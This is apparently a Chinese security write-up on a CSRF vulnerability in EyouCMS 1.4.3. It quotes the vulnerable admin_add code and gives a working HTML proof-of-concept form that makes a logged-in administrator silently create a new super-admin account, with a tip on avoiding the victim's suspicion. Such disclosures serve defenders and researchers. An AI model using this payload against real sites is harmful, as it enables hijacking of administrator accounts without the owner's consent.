menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Eyoucms 1.4.3 csrf漏洞 chevron_right Eyoucms 1.4.3 csrf漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Eyoucms 1.4.3 csrf漏洞.md
    4.45 KB / 2021-07-15 19:51:59
        Eyoucms 1.4.3 csrf漏洞
    ======================
    
    一、漏洞简介
    ------------
    
    可通过csrf漏洞添加管理员
    
    二、漏洞影响
    ------------
    
    Eyoucms 1.4.3
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    漏洞触发点在`application\admin\controller\Admin.php`
    
          public function admin_add()
         {
             $this->language_access(); // 多语言功能操作权限
    
             if (IS_POST) {
                 $data = input('post.');
    
                 if (0 < intval(session('admin_info.role_id'))) {
                     $this->error("超级管理员才能操作!");
                 }
    
                 if (empty($data['password']) || empty($data['password2'])) {
                     $this->error("密码不能为空!");
                 }else if ($data['password'] != $data['password2']) {
                     $this->error("两次密码输入不一致!");
                 }
    
                 ...
    
                 if (empty($data['pen_name'])) {
                     $data['pen_name'] = $data['user_name'];
                 }
                 if (M('admin')->where("user_name", $data['user_name'])->count()) {
                     $this->error("此用户名已被注册,请更换",url('Admin/admin_add'));
                 } else {
                     $admin_id = M('admin')->insertGetId($data);
                     if ($admin_id) {
                         adminLog('新增管理员:'.$data['user_name']);
    
                         /*同步追加一个后台管理员到会员用户表*/
                         try {
                             $usersInfo = Db::name('users')->field('users_id')->where([
                                     'username'  => $data['user_name'],
                                     'lang'      => $this->admin_lang,
                                 ])->find();
                             if (!empty($usersInfo)) {
                                 $r = Db::name('users')->where(['users_id'=>$usersInfo['users_id']])->update([
                                         'nickname'      => $data['user_name'],
                                         'admin_id'      => $admin_id,
                                         'is_activation' => 1,
                                         'is_lock'       => 0,
                                         'is_del'        => 0,
                                         'update_time'   => getTime(),
                                     ]);
                                 !empty($r) && $users_id = $usersInfo['users_id'];
                             } else {
                                 // 获取要添加的用户名
                                 ...
    
                                 $users_id = Db::name('users')->insertGetId($AddData);
                             }
                             if (!empty($users_id)) {
                                 Db::name('admin')->where(['admin_id'=>$admin_id])->update([
                                         'syn_users_id'  => $users_id,
                                         'update_time'   => getTime(),
                                     ]);
                             }
                         } catch (\Exception $e) {}
                         /* END */
    
                         $this->success("操作成功", url('Admin/index'));
                     } else {
                         $this->error("操作失败");
                     }
                 }
             }
    
    可以看到进队管理员权限进行校验,而没有对提交token进行校验,导致恶意用户可引导管理员点击构造的url进行管理员添加,实际操作可不跳转到管理页面,以免引起怀疑。
    
    ### 漏洞复现
    
    登陆后台,在高级选项\>管理员\>新增管理员点击之后截包
    
    ![](./resource/Eyoucms1.4.3csrf漏洞/media/rId26.png)
    
    ### poc
    
         <html>
         <!-- CSRF PoC - generated by Burp Suite Professional -->
         <body>
         <script>history.pushState('', '', '/')</script>
             <form action="http://127.0.0.1/EyouCMS1.4.3/login.php?m=admin&c=Admin&a=admin_add&lang=cn" method="POST">
             <input type="hidden" name="user_name" value="test" />
             <input type="hidden" name="password" value="test" />
             <input type="hidden" name="password2" value="test" />
             <input type="hidden" name="pen_name" value="" />
             <input type="hidden" name="true_name" value="" />
             <input type="hidden" name="mobile" value="" />
             <input type="hidden" name="role_id" value="-1" />
             <input type="submit" value="Submit request" />
             </form>
         </body>
         </html>
    
    模拟管理员点击
    
    ![](./resource/Eyoucms1.4.3csrf漏洞/media/rId28.png)
    
    添加完成
    
    ![](./resource/Eyoucms1.4.3csrf漏洞/media/rId29.png)
    
    
    links
    file_download